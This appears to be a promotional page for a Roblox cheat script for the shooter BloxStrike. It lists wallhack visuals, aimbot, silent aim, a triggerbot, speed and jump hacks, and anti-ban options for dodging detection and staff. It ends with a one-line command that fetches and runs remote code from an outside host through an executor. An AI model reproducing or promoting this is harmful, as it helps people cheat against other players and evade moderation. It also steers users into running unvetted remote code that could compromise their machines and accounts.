BloxStrike plays like a round-based tactical shooter: buy, hold an angle, take the fight, repeat. This script adds the usual client-side toolkit on top — visuals for reading the map, aim help with a lot of switches, and cosmetic options that change how the game looks without touching the match. Reading the server Box, name, health and distance markers give you a clean picture of who is where, with chams and skeletons for players behind cover. Player tracers sit along the bottom of the screen, and a separate highlight covers the bomb carrier with a planted timer. Aim Camlock supports always-on, hold RMB, hold Q or toggle K. Smoothing runs from instant to very slow, and you can enable sticky targeting, prediction for moving players and a wall check. Silent aim redirects the bullet to the selected hitbox, and the triggerbot fires on its own. Filters cover team check, visible-only, an aim FOV circle and the target part. Look and feel Skin changer, fullbright, cinematic post-processing with bloom and vibrance, motion blur, and a skybox list with presets from galaxy to blood moon. Rainbow tracers are decorative and can be limited to your own shots. Survival switches B-hop, walk speed, jump power, camera FOV, anti fall damage, anti AFK and auto respawn. Anti-ban options All of them start off. When enabled they humanise silent aim with jitter, cap hit rate and add a miss chance, gate shots by distance and FOV, pause the aim after a respawn, and stop near staff. Presets cover a legit and a semi-rage setup. How to use it Run the script in BloxStrike, open the menu and start with visuals only. Aim options are the ones most likely to look wrong, so tune smoothing and FOV on a few rounds before adding silent aim. The script uses a key system — the key step takes about a minute, and the rest of the setup is picking a preset. Mobile has not been tested; a desktop executor is the safe choice. Configs can be saved, loaded and set to autoload, so a setup survives between sessions.
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loadstring(game:HttpGet("https://sf-auth.sfhub.workers.dev/loader"))()
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